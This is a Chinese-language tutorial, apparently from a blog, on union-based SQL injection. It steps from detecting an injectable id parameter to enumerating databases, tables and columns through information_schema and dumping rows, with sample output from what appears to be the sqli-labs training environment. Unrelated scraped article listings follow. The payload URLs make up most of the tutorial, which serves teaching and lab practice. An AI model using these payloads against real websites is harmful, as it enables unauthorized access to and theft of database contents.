union注入

更多内容请看此链接:https://blog.csdn.net/weixin_45380284

1.判断是否存在注入:

方法一:

单引号法——在url最后加一个单引号,如:

http://www.123456.com/web/union.php?id=1'

页面不正常,浏览器返回异常信息说明该链接会存在注入漏洞。

方法二:

1=1和1=2法,如:

http://www.123456.com/web/union.php?id=1 and 1=1

URL:http://www.123456.com/web/union.php?id=1 and 1=2

如果返回不同的页面,那么说明存在SQL注入漏洞。

2.使用order by 1-99 来查询该数据表字段数

方法;

Id=1 order by 1-99 来判断字段数,例如:

http://www.tianchi.com/web/union.php?id=1 order by 3

发现当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

3.查询sql语句插入位置:

http://www.tianchi.com/web/union.php? id=-1 union select 1,2,3

通过浏览器返回的值判断;如果返回2:3则说明2、3位置可以插入sql语句

4.获取数据库名:

1.获取当前数据库库名:

将id=-1 union select 1,2,3中2的位置改为database() 如:

http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

2.获取所有数据库库名

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

3.逐条获取数据库库名

语句:select schema_name from information_schema.schemata limit 0,1;

http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3

修改limit中第一个数字,如获取第二个库名:limit 1,1。

数据库库名:

information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

5.获取数据库表名:

(1)方法一:

获取数据库表名,这种方式一次获取一个表名,2位置修改为:

select table_name from information_schema.tables where table_schema='security' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3

修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

表名是:emails,referers,uagents,users。

(2)方法二:

一次性获取当前数据库所有表名:

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'

6.取字段名

(1)方法一:

获取字段名,以emails表为例,2位置修改为:

select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3

修改limit中第一个数字,如获取第二个字段名:limit 1,1

字段名:id,email_id。

(2)方法二:

以emails表为例,一次性获取所有字段名:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

7.获取数据

(1)方法一:

获取数据,以emails表为例,2,3位置分别修改为:

(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

获取emails表第一,第二条数据:

1 : Dumb@dhakkan.com

2 : Angel@iloveu.com

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

(2)方法二:

以emails表为例,一次性获取所有数据:

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),id,email_id),3 from security.emails

8. union注入PHP代码

union注入的更多相关文章

  1. oracle union 注入工具

    '***********************************************************************************************'ora ...

  2. [php审计实战篇]BlueCms v1.6 Union注入

    非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/com ...

  3. SQL注入之Union注入攻击

    union联合查询算是最简单的一种注入了,但是却是经常遇到. 什么是UNION注入 UNION操作符用于合并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必须拥有相同数量的列 ...

  4. sqli-labs less11-12(post型union注入)

    less-11 post型union注入 过程: 输入admin admin 判断username password的闭合方式 对username查字段个数 ' union select 1,2# ' ...

  5. i春秋-Phone number(union注入+hex转码)

    记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...

  6. Mysql下Union注入Bypass安全狗过程

    文章转载于:http://www.0aa.me/index.php/archives/95/ 一次众测发现个注入,然后有安全狗就顺带看了下安全狗. 先fuzz看看安全狗拦截什么关键词union sel ...

  7. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  8. sql注入之union注入

    联合查询注入利用的前提: 必须要有回显 联合查询过程: 判断是否存在注入点 判断是什么类型注入(字符型or数字型) 判断闭合方式 查询列数个数(order by) 5, 获得数据库名 获得表名 获得字 ...

  9. sqli-labs less1-4(union注入)

    less-1 考点:Single quotes 输入: 判断类型 ?id=1 返回loginname和password.输入的id就是与后台数据库连接的接口通过id=? 查询数据库信息 ?id=1' ...

随机推荐

  1. WebBrowser禁用触摸缩放

    最近做一个WPF触屏的项目,引用到WebBrowser控件,由于是触屏的所以控件里的网页可以缩放,客户提出要求,屏蔽这缩放功能. 于是网上找了很多资料,也换过控件,WebView2 控件使用Micro ...

  2. ant+jmeter+jenkins接口自动化测试一

    [Jmeter篇]jmeter+Ant+Jenkins接口自动化测试集成(一) 橙子探索测试发表于橙子探索测试订阅 90 一.简介 1.什么是ant? ant是构建工具,把代码从某个地方拿来,编译,再 ...

  3. VMware 15安装Ubuntu 16.04并配置环境

    VMware(虚拟机)是指通过软件模拟的具有完整硬件系统功能的.运行在一个完全隔离环境中的完整计算机系统,它能在Windows系统上虚拟出多个计算机,每个虚拟计算机可以独立运行,可安装各种软件与应用等 ...

  4. vs code 初始化vue项目框架

    1.首先安装npm组件  下载地址:https://nodejs.org/en/ 安装完 2.配置环境变量 3.验证是否成功 node -v npm -v 4.替换npm 输入npm install ...

  5. Eclipse中Debug时鼠标悬停不能查看变量值解决办法

    问题描述:Eclipse在Debug模式下,当鼠标移动到某个变量上面时不自动显示该变量对应的值. 解决方法:在Eclipse中点击 Window->Preferences->Java-&g ...

  6. 搭建nginx服务器nginx-1.6.2.tar.gz

    2016-06-17 09:06:52   一.实验环境 CentOS6.5 软件:nginx-1.6.2.tar.gz 二.实验步骤 1)安装nginx所依赖的软件 yum -y install p ...

  7. linux就该这么学 第一天学习笔记

    题外话 在每天的网上冲浪中,一次无意间的点击,发现了linux就该这么学的网站,然后就看了一晚上,当时还是学生的我特别想要参加培训,可是碍于眼前的经济状况,只得将这个想法深深的藏在了心里,并加了一下网 ...

  8. 【error fixed】E: Package 'oracle-java8-installer' has no installation candidate

    问题:安装oracle-java8-installer按照如下指南失败: How To Install Java with Apt-Get on Ubuntu 16.04[https://www.di ...

  9. thinkphp将对象变成一维数组?

    thinkphp使用select查询出的数据为二维数组,如果想将二维数组转一维,可以使用: $x为二维数组对象 php版本要大于5.5.0 $userid_array = array_column($ ...

  10. JAVA基础笔记15-16-17-18

    十五.今日内容介绍 1.Object 2.String 3.StringBuilder =第一节课开始======================= 01API概念 * A:API(Applicati ...